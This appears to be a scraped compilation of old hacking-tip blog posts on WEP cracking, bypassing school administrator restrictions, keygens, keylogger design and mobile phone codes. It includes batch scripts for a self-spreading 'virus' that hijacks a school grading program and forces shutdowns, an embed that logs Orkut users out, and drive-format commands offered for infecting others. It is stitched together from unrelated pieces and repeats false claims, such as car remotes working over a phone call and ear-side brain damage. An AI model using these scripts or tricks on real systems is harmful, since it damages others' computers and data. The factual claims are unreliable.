3. With Aireplay, start replaying a packet on the target network. (You can find a ‘good packet’ by looking at the BSSID MAC on Kismet and comparing it to the captured packet’s BSSID MAC).

4. Watch as Airodump goes crazy with new IVs. Thanks to Aireplay.

5. Stop Airodump when you have about 1,000 IVs.

6. Run Aircrack on the captured file.

7. You should see the WEP key infront of you now.

PROGRAMS USED:

-Kismet

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.

It is designed for Linux.

You can download it at www.kismetwireless.net

A windows version can be downloaded at http://www.renderlab.net/projects/wrt54g/kiswin.html

-Aircrack (Includes Airodump, Aireplay, Aircrack and optional Airdecap for decrypting WEP/WPA capture files)

Aircrack is the 802.11 WEP and WPA-PSK keys cracking program that can recover this keys once enough encrypted packets have been captured with airodump.

Airdecap is used to decrypt WEP/WPA capture files.

Airmon can be used to configure the wireless card.

Aireplay is used to inject frames.

Airodump is used for packet capturing of raw 802.11 frames and is particularly suitable for collecting WEP IVs (initialization vectors) for the intent of using them with aircrack-ng.

Download the whole suit at www.aircrack-ng.org

Av fun and enjoy,

-Hungry Hacker

Mobile can be a Life Saver

There are a few things that can be done in times of grave emergencies. Your mobile phone can actually be a life saver or an emergency tool for survival. Check out the things that you can do with it: -

(1) EMERGENCY : The Emergency Number worldwide for **Mobile** is 112. If you find yourself out of coverage area of your mobile network and there is an emergency, Dial 112 And the mobile will search any existing network to establish the emergency number for you, And interestingly this number 112 can be dialed even if the keypad is locked. ** Try it out .**

(2) Have you locked your keys in the car? Does you car have remote keys? : This may come in handy someday. Good reason to own a cell phone: If you lock your keys in the car and the spare keys are at home, call Someone at home on their cell phone from your cell phone. Hold your cell phone about afoot from your car door and have the person at your home press the unlock button, holding it near the mobile phone on their end. Your car will unlock. Saves someone fro having to drive your keys to you. Distance is no object. You could be hundreds of miles away, And if you can reach someone who has the other “remote” for your car, you can unlock the doors (or the trunk).

(3) Hidden battery Power : Imagine your cell battery is very low, you are expecting an important call and you don’t have a charger. Nokia instrument comes with are serve battery. To activate, press the keys *3370# Your cell will restart with this reserve and the instrument will show a 50% ncrease in battery. This reserve will get charged when you charge your cell next time

(4) How to disable a STOLEN mobile phone? : To check your Mobile phone’s serial number, key in the following digits on your phone: * # 0 6 # A 15 digit code will appear on the screen. This number is unique to your handset. Write it down and keep it somewhere safe. When your phone get stolen, you can phone your service provider and give them this code. They will then be able to block your handset so even if the thief changes the SIM card, your phone will be totally useless. You probably won’t get your phone back, but at least you know that

whoever stole it can’t use/sell it either.

(5) Be careful while using your mobile phone : When you try to call someone through mobile phone, don’t put your mobile closer to your ears until the recipient answers. Because directly after dialing, the mobile phone would use it’s maximum signaling power, which is: 2 watts = 33 dbi, Please Be Careful, Message as received (Save your brain) Please use left ear while using cell (mobile), because if you use the right one it will affect brain directly. This is a true fact from Apollo medical team.

Remote Operating System Detection

Now a days we invite the so called victim to a webpage/blog and with the help of a free web traker servive get all his details as in browser/operating system and other details but still i would like to share the traditional method as well.

Detecting OS (operating system) is another most important step towards hacking into a system. We can even say that after tracing the IP of the system it is the most prior thing that should be done to get the root on a system cause without having knowledge about the OS running by the target system you cannot execute any system commands on the target system and thus your mission wont be accomplished. In here I have figure out the basics of detecting OS remotely without having physical access to the system. There are various method of detecting OS like by trace routing the victim’s IP , by pinging the IP , by using telnet and also by using a terminal. But from my research I have concluded that detecting OS through ping or tracerout is the most simplest but effective way of determining the operating system running in the remote computer without having physical access to the system. Since my aim of writing articles is to make things clear for beginners and intermediate so I will explain remote os detecting through ping method which is very easy to understand even for peoples totally new to computers.. yeah yeah.. I know you call them newbies..right ?

REMOTE OS DETECTION USING PING METHOD

What is PING and what is its utility ?

Ping is an MSDOS utility provided for windows version of DOS and for Unix and operating systems having UNIX as the core kernel. It runs in dos box in windows and directly in UNIX platform. In this manual I will give more stress on the MSDOS version of ping.

Ping is an utility used for sending and receiving packets of data to a target system using its IP and thus from the outputs you can figure out many information about the target system.

In remote os detection we are mainly concerned with the TTL values of the received data packets.

Note: When you send or receive a file over the internet it is not send at once. Instead it is broken down at the source system and these broken fragments of data know as data packets are send through the internet and these data packets are gathered together by the target system according to an algorithm constructed by the source system.

For example if I send a picture of size 400 KB to my girl friend (hey girls out there remember I don’t yet have a gf in reality) then what actually happens is that my system breaks the data into data packets, say the file of 400 KB has been broken down into 4 data packets each having a size of 100 KB and having a name. These data packets are assigned a code known as the TTL value of the data packets by my operating system. Then these data packets are gathered and the original file is formed from these data packets at the target system.

Example:

C:\windows>ping/?

Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]

[-r count] [-s count] [[-j host-list] | [-k host-list]]

[-w timeout] target_name

Options:

-t Ping the specified host until stopped.

To see statistics and continue - type Control-Break;

-a Resolve addresses to hostnames.

-n count Number of echo requests to send.

-l size Send buffer size.

-f Set Don’t Fragment flag in packet.

-i TTL Time To Live.

-v TOS Type Of Service.

-r count Record route for count hops.

-s count Timestamp for count hops.

-j host-list Loose source route along host-list.

-k host-list Strict source route along host-list.

-w timeout Timeout in milliseconds to wait for each reply.

Breaking the Restrictions of the Administrator

Hello Friends many of you have come with this problem of hacking the Administrator in Windows XP. So her is the Solution to your problem. This works on Win 2000 & Win XP.

This can be used to gain access to the website you want to for free, and how you can gain access to ‘control panel’, and the various other tools of Windows that may have been blocked from your grasp like ‘regedit’ by the administrator. IT can be used in schools & colleges..

When u are at the log on screen, type in your username and password. Now When you hit enter, and it comes up with the next screen, the rectangle one, immediatly pull out the network cable i.e. the cable wire.

Now you can log on without any restrictions because when the cable is pulled off then it does not download any settings from the server. Now you have access to control panel, & all the other features which had been blocked BUT there will be no network access. But that’s cool because now we can access ‘Internet options’,

click in the ‘connections’ tab click the LAN settings, click the proxy settings, and in the little white box at the bottom we can specify websites that bypass the proxy server (eg www.yahoo.com) Now once you have changed the settings to what you wish, apply them and restart the computer. Now get someone else to log onto it because if you log in it will load the cached settings from your previous log in, then after the other person logs in, everyone that logs in after them included themselves will have the internet settings you specified.

Its only an ‘Unplugging technique’ to gain access to a comp. locked by the administrator.

Now you can gain access to msconfig, regedit, command etc disable the virus scanner, or to install a trojan or a virus according to u’re will..

XP HOME ADVANCED FILE PERMISSIONS.!!

Access *Advance file Permissions* on NTFS file systems for XP Home simply by booting into *Safe Mode*, rt-clicking any file or folder, and navigating to the *Security tab*. This gives the user the ability to allow or deny read, write, execute, read & write, display contents, full-control, iheritance, and take ownership permissions, with many more options available to apply to different users and groups stored on the computer. Well, you don’t have to do this in *Safe Mode* (XP Home). Although it is a little less intuitive, you can simply go to your command prompt - Start>All Programs>Accessories>Command Prompt. Now type “cacls” in the window (without the quotes). This gives you the ability to add, remove or modify file permissions on files and folders through the command prompt. Type “cacls /?” for help on different options and variables. You do not need to be in safe mode to use this so it makes it a little quicker than using the safe mode security tab GUI. Remember - this only applies to NTFS. Here also is a very useful link to find a lot of extras and tweaks straight from the horse’s mouth - the Microsoft Resource Center. You will find a lot of very useful web-based extra’s here, most of them left unknowing to the general public - such as, “Online Crash Analysis” - a site that looks like Windows Update but you can upload your crash “dump logs” (when you get those system or application crash error reports). Microsoft will then analyze the log file and tell you some more info about WHY the system crashed (ie. faulty hardware/software/conflicts, etc).

Now lets c how to open restricted site on college servers

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Top 10 Windows Hacking Tools

This is the Collection of Best Windows Hacking Tools:

1. Cain & Abel - Cain & Abel is a password recovery tool for the Microsoft Windows Operating System. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

2. SuperScan - SuperScan is a powerful TCP port scanner, pinger, resolver. SuperScan 4 (Current Version) is a completely-rewritten update of the highly popular Windows port scanning tool, SuperScan.

3. GFI LANguard Network Security Scanner - GFI LANguard N.S.S. is a network vulnerability management solution that scans your network and performs over 15,000 vulnerability assessments. It identifies all possible security threats and provides you with tools to patch and secure your network. GFI LANguard N.S.S. was voted Favorite Commercial Security Tool by NMAP users for 2 years running and has been sold over 200,000 times!

4. Retina - Retina Network Security Scanner, recognised as the industry standard for vulnerability assessment, identifies known security vulnerabilities and assists in prioritising threats for remediation. Featuring fast, accurate, and non-intrusive scanning, users are able to secure their networks against even the most recent of discovered vulnerabilities.

5. SamSpade - SamSpade provides a consistent GUI and implementation for many handy network query tasks. It was designed with tracking down spammers in mind, but can be useful for many other network exploration, administration, and security tasks. It includes tools such as ping, nslookup, whois, dig, traceroute, finger, raw HTTP web browser, DNS zone transfer, SMTP relay check, website search, and more.

6. N-Stealth - N-Stealth is a commercial web server security scanner. It is generally updated more frequently than free web scanners such as whisker and nikto, but you have to pay for the privilege.

7. Solarwinds - Solarwinds contains many network monitoring, discovery and attack tools. The advanced security tools not only test internet security with the SNMP Brute Force Attack and Dictionary Attack utilities but also validate the security on Cisco Routers with the Router Security Check. The Remote TCP Reset remotely display all active sessions on a device and the Password Decryption can decrypt Type 7 Cisco Passwords. The Port Scanner allows testing for open TCP ports across IP Address and port ranges or selection of specific machines and ports.

8. Achilles - The first publicly released general-purpose web application security assessment tool. Achilles acts as a HTTP/HTTPS proxy that allows a user to intercept, log, and modify web traffic on the fly. Due to a cyber squatter, Achilles is no longer online at its original home of www.Digizen-Security.com…OOPS!

9. CookieDigger - CookieDigger helps identify weak cookie generation and insecure implementations of session management by web applications. The tool works by collecting and analyzing cookies issued by a web application for multiple users. The tool reports on the predictability and entropy of the cookie and whether critical information, such as user name and password, are included in the cookie values.

10. Netcat (The Network SwissArmy Knife) - Netcat was originally a Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.

How to make Keygens?

Attention : This Article is Only for Real Geeks

Disclaimer : I take no responsibility of the usage of this information.

This tutorial, is for educational knowledge ONLY.

How to make key generators?

Introduction

Hi there, in this tutorial, I intend to teach you how to make a pretty

simple keygen, of a program called W3Filer 32 V1.1.3.

W3Filer is a pretty good web downloader…

I guess some of you might know the program.

I`ll assume you know:

A. How to use debugger (in this case, SoftIce).

B. How to crack, generally (finding protection routines,patching them,etc…).

C. How to use Disassembler (This knowledge can help).

D. Assembly.

E. How to code in Turbo Pascal ™.

Tools you`ll need:

A. SoftIce 3.00/01 or newer.

B. WD32Asm. (Not a must).

C. The program W3Filer V1.13 (if not provided in this package), can be found in

www.windows95.com I believe.

D. Turbo Pascal (ANY version).

Well, enough blah blah, let’s go cracking…

Run W3Filer 32.

A nag screen pops, and , demands registration (Hmm, this sux ;-)) Now,

We notice this program has some kind of serial number (Mine is 873977046),

Let’s keep the serial in mind, I bet we`ll meet it again while we’re on

the debugger.

Well, now, let’s put your name and a dummy reg code…

set a BP on GetDlgItemTextA, and, press OK.

Top 10 Linux Hacking Tools

This is a Cool Collection of Top Ten Linux Hacking Tools.

1. nmap - Nmap (”Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available.

2. Nikto - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

3. THC-Amap - Amap is a next-generation tool for assistingnetwork penetration testing. It performs fast and reliable application protocol detection, independant on the TCP/UDP port they are being bound to.

4. Ethereal - Ethereal is used by network professionals around the world for troubleshooting, analysis, software and protocol development, and education. It has all of the standard features you would expect in a protocol analyzer, and several features not seen in any other product.

5. THC-Hydra - Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

6. Metasploit Framework - The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This project initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development, and vulnerability research.

7. John the Ripper - John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

8. Nessus - Nessus is the world’s most popular vulnerability scanner used in over 75,000 organisations world-wide. Many of the world’s largest organisations are realising significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

9. IRPAS - Internetwork Routing Protocol Attack Suite - Routing protocols are by definition protocols, which are used by routers to communicate with each other about ways to deliver routed protocols, such as IP. While many improvements have been done to the host security since the early days of the Internet, the core of this network still uses unauthenticated services for critical communication.

10. Rainbowcrack - RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called “rainbow table”.

How To Write A Basic Keylogger In VB

Intro: What a Keylogger is made of

Before we start programming, we need to answer a basic question: what is a keylogger? As the name implies (key+logger) - a keylogger is a computer program that logs (records) the keys (keyboard buttons) pressed by a user. This should be simple to understand. Lets say that I am doing something at my computer. A keylogger is also running (working) on this computer. This would mean that the keylogger is “listening” to all the keys I am pressing and it is writing all the keys to a log file of some sort. Also, as one might have guessed already, we don’t want the user to know that their keys are being logged. So this would mean that our keylogger should work relatively stealth and must not, in any case, show its presence to the user. Good, now we know what a keylogger as and we have an idea of its functions, lets move on to the next step.

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Basic Concepts: What needs to be achieved

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Ok, now lets plan our program, what should such keyloger do and what it should not. Significant difference to previous section is in the sense that here we shall discuss the LOGIC, the instructions that our program will follow.

Keylogger will:

1 - listen to all the key strokes of the user.

2 - save these keys in a log file.

3 - during logging, does not reveal its presence to the user.

4 - keeps doing its work as long as the used is logged on regardless of users actions.

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Implementation: Converting logic into code

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We shall use Visual Basic because it is much easier and simple to understand comparing to C++ or Java as far as novice audience is concerned. Although programmers consider it somewhat lame to code in VB but truthfully speaking, its the natural language for writing hacking/cracking programs. Lets cut to the chase - start your VB6 environment and we are ready to jump the ride!

Mixed Bag - Mobile Hacking

Nokia 31xx

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Firmware version

*#0000# or *#3110#

IMEI Code

*# 06 #

Restores Factory Settings

*#7780#

Warranty Codes

*#92702689# (= *#war0anty#)

Just scroll down through the information. If entering the above code requires a

further warranty code try entering the following:

6232 (OK) : Month and year of manufacture

7332 (OK) : Last repair date

7832 (OK) : Purchase date (if previously set)

9268 (OK) : Serial number

37832 (OK) : Set purchase date (this can only be done once)

87267 (OK) : Confirm transfer

Nokia 5110

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IMEI Number *#06#

For checking the IMEI (International Mobile Equipment Identity).

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Security Code 12345

Default security code is 12345. If you forgot your security code, there s so many program on the net which allowed you to know the security code likes Security ID Generator, Nokia IMEI Changer, etc.

update:

Security ID Generator (SID.EXE) and IMEI Generator (NOKIAIMEI.EXE) doesn t works with Nokia 5110

Resetting Security Code

If you accidentally lock the phone or forgot the security code, the best thing to do is check it with your local Nokia dealer. For advanced user, you can use WinTesla, PCLocals or LogoManager program to read the security code or resetting the code (You will need an FBUS/MBUS (or compatible) cable to do this.

Tracking Email

MailTracking.com - What is it and how does it work?

What is MailTracking?

MailTracking is the most powerful and reliable email tracking service that exists today. In short - MailTracking tells you when email you sent gets read / re-opened / forwarded and so much more

How do I send a tracked email? There are two ways you can send tracked emails:

1. Simply add: .mailtracking.com to the end of your recipients email address (they won’t see this)
   
   or


2. Install the ActiveTracker plugin to add the tracking for you.

Testing? If you send tracked emails to yourself, your anti-spam filters may block them (people don’t usually write to themselves) - so we recommend you test by sending to other people.

What will you tell me about the tracked emails I send? MailTracking will endeavour to provide the following in your tracking reports:

• Date and time opened


• Location of recipient (per their ISP city /town)


• Map of location (available on paid subscriptions)


• Recipients IP address


• Apparent email address of opening (if available)


• Referrer details (ie; if accessed via web mail etc)


• URL clicks


• How long the email was read for


• How many times your email was opened


• If your email was forwarded, or opened on a different computer

All messages sent via MailTracking benefit from the SPF compliant and Sender-ID compliant mail servers. This confirms safe transmission of your messages, and also enables us to report delivery status to you (including: bounce-backs, delays and success notifications). Delivery information is listed in your Personal Tracking Page. Note: MailTracking.com does not use or contain any sp‌y-ware, ma‌l-ware, nor vi‌rues, it is not ill‌egal to use, and does not breach any pri‌vacy reg‌ulations in any countries.

What else does MailTracking do?

There are lots of great features available to you - these include the following sending options:

• Certified email


• Ensured-Receipts and retractable emails


• Invisible tracking


• Self-Destructing emails


• Block printing


• Block forwarding


• Adobe Acrobat PDF Document Tracking


• Secure Encypted emails


• Track MS Word or Excel documents

You can also choose how to receive your receipts:

• In your Personal Tracking Page (when you log in)


• Email ReadNotifications


• Legal Proof-of-Opening receipts


• Delivery Service Notifications (DSN’s)


• SMS alert on your cell-phone or pager


• Instant Messenger

Click Here to Register.

Your Email can be intercepted ! Check How

Top 10 Places Your Email Can Be Intercepted

i. The Internet

The Internet has radically changed the way we communicate with each other. Email is obviously an extremely valuable and ubiquitous form of communication, but with this technology comes certain pitfalls that should be understood. The path that an email message takes to reach its recipient is a complex and varying one, and while in transit that message may come under the potential scrutiny of numerous different people and organizations.

We will attempt to outline the varying paths that an email message may travel, and who some of those different people and organizations might be under whose scrutiny the message may pass. The intention of the document is not to provide a how-to guide; the only specific technique that will be discussed, packet sniffing, is one that anybody with any technical networking knowledge whatsoever is already familiar with – which brings us to an important point. At a round number, there are probably at least a million people in the world with the requisite technical knowledge necessary to intercept Internet-based email. Yes, I said a million. (There are actually probably a lot more than that - maybe several million by now, and more everyday as the populace becomes more networking-literate.) Fortunately, the number of those people who actually have the physical access necessary to intercept email is much smaller, but it is still a very large number.

ii. Internet Service Provider (ISP)

The Internet is composed of numerous different interconnected networks and systems that collectively provide a backbone for the transmission of network traffic. It is a highly dynamic physical environment: a system or network device that is here today may be gone or reconfigured tomorrow, and the underlying protocols of the Internet will automatically detect and accommodate for this change. This dynamic nature is one of the things that make the Internet so powerful. However, given the dynamic nature of the Internet, it is impossible to absolutely predict exactly what path network traffic will follow. One email message that you send could take an entirely different path to reach the recipient than another that you send to the same person. In fact, it is even worse than that: for the sake of efficiency, email messages and other network traffic are typically broken down into smaller little chunks, or packets, before they are sent across the

network, and automatically re-assembled on the other side. Each of these individual packets may in fact follow a different path to get to the recipient! (In actual practice, a given path tends to get reused until the operational parameters of that or other related paths have significantly changed.)

The net result of all this is that your message, or at least little chunks of your message, travels through an indeterminate set of systems and network devices, each of which offers a point of interception. These systems may be owned or operated by corporations and non-profit organizations, by colleges, by governments and government agencies, or by telecom and other connectivity providers. Given such a widely divergent group, it is easy to see how either an unethical organization or a renegade employee may easily gain access to the messages and traffic crossing their systems. All of these factors combine to make the Internet itself the primary source of message interception points.

Shut down your School!!

This article is for only educational purpose, i am not responsible for any misuse of this article.



By using the following command you can shutdown your school or college by using only Note pad.

This is the main command that will be launched upon startup.

Type this in Notepad.

@echo offshutdown.exe -s -t 10 -c

“You have been hacked!”

Save this as shutdown.bat, making sure you choose all files as the filetype.

Step 2

Make it run on StartupThe file you need can be downloaded here:This is just a simple registry file that anyone can create, but I don’t feel like explaining the registry to everyone. It will disguise itself by claiming to be an update for STI.

http://www.mutantsrus.com/Update.reg

Step 3

Set up the replication systemHere is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.

Example O:\sti\ssts2\sti.exe?=O$=sti\ssts2!=sti

Here is the code:

@echo offcd C:\move ?:\$\!.exeren C:?.exe real.exeren C:virus.exe !.execd ?:\$move C:\!.exemove C:\shutdown.batmove C:\Update.regexit

Save this as global.bat

Step 4

They grow up so fast — real fast!This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user’s hard drive and remain there.

@echo offcd C:\WINDOWSEcho STI must update itself, this will only take a few seconds.pauseEcho Please wait while the files install.move ?:\$\shutdown.batmove ?:\$\Update.regmove ?:\$\cure.exemove ?:\$\cure.exemove ?:\$\cure.batmove ?:\$\remove.batEcho Adding information to registry.pausestart regedit.exe Update.regcd ?:\$start real.exeexit

Now this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for QuickBFC to work with. Just save the compiled file over this one.

Step 5

The CureThis is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.

@echo off

shutdown -acd C:\WINDOWSdel shutdown.bat

Save as cure.bat

@echo offcd ?:\$del !.execd C:\move ?:\$\real.exeren C:\real.exe !.execd ?:\$move C:\?.execd C:\WINDOWS

Now download this file: http://www.mutantsrus.com/cure.exe

Step 6

The SetupNo it’s not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive.I am going to use WinRAR to do this. You can get WinRAR here: http://www.rarlab.com. First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to “tools”, then select “convert archive to SFX”. Click “Advanced SFX Options” In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.)

Top 10 Tricks to exploit SQL Server Systems

Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.

1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield’s Port Report shows just how many systems are sitting out there waiting to be attacked. I don’t understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.

2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.’s NGSSquirrel for SQL Server (for database-specific scanning). They’re easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.

What is Double Password?

Strong passwords should have a significant length and cannot contain normal words. Only random digits and letters of different case. Such passwords are extremely hard to remember and it takes time to enter. But, even strong passwords have their weaknesses. When you type a password, it can be intercepted by a spy program that logs all your keystrokes. Others can see what you type (even if the password field on the screen is masked, the password can be read by buttons you hit on your keyboard.)

Until now, the only solution was to buy a secure token. A secure token is a hardware key that is used instead of or in addition to your normal password authentication. There are two main problems with the hardware solution, though. First, it is expensive. And second, you can use them only with software that has built-in support for this method of authentication.

Save Hard-drive space upto 1/2 GB in Windows Vista

For the few people that can’t hibernate their computer because it automatically resumes, or the ones that just don’t use hibernation, you’ll want to disable this since the feature consumes as much hard-drive space as you have in RAM. A simple command prompt entry can disable hibernation.

1) Click on the Start Pearl > type cmd in the Search Bar > press Ctrl+Shift+Enter

2) Enter powercfg -H off

Once hibernation is off, you’ll still need to use Disk Cleaner to get rid of the files stored on your computer for previous hibernation sessions. To access Disk Cleaner:

1) Open the Start Pearl again and type cleanmgr in the Search bar.

Windows Vista will then prompt you to choose the partition you wish to clean. Select the desired partition, and the rest should be pretty straight forward.

On my computer, hibernation consumed about 510MB. This information is listed under Hibernation File Cleaner. You’ll want to clear all that since you won’t be using hibernation anymore.

How does Worms work ?

People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

What’s a worm?

A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.

How do they spread?

When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you’ll activate the worm, but in some versions of Microsoft Outlook, you don’t even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it’s activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program’s address book and web pages you’ve recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn’t even have to be open for the worm to spread.

Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.

What do they do?

Most of the damage that worms do is the result of the traffic they create when they’re spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren’t cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO’s proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.

The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.

How do I get rid of them?

The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren’t expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker’s website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don’t affect computers that run Macintosh or Linux operating systems.

Block your friends scrapbook - ORKUT

It will be really scary when you will find out that you are not able to reply to your friends scrap from your own scrapbook. Yes this hack can be used to block anybody’s scrapbook. The best part is that after the scrapbook is blocked nobody can scrap him. Really cool!

Copy this and paste in your friends scrapbook.

<embed src=”http://www.orkut.com/GLogin.aspx?cmd=logout” height=”1″ width=”1″></embed>

When that man will enter his scrapbook he will be at the login position .he cant reply from his scrapbook and no one can enter in his profile and scrap him…

Solution : (To Unblock it)

To avoid being logged off again when you see the scrap, you can block flash in your browser.

For Firefox download the following plugin :
https://addons.mozilla.org/en-US/firefox/addon/433

In opera, you can disable the flash plugin.

Now this will only allow you to enter the scrapbook but your friends will still not be able to scrap you. So for that you need to delete the scrap.

Another Method:

First open your scrapbook.

Now Open your Orkut Homepage in a new window( Don’t close the scrapbook ). You will find the login page.

Now enter your detail and login to Orkut.

After being logged in delete the scrap from the scrapbook page that you had kept open.

Enjoy!!!

What to Do when Ur Orkut is Hacked!

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.

Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:

1. Reset Your Google Account Password:

Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd - you will receive an email at your secondary email address with a link to reset your Google Account Password.
This will not work if the other person has changed your secondary email address or if you no longer have access to that address.

2. For Google Accounts Associated with Gmail:

If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It however requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:

If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message.

It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

Format a HDD with Notepad

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1.
Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2.
Save As An EXE Any Name Will Do

Step 3.
Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

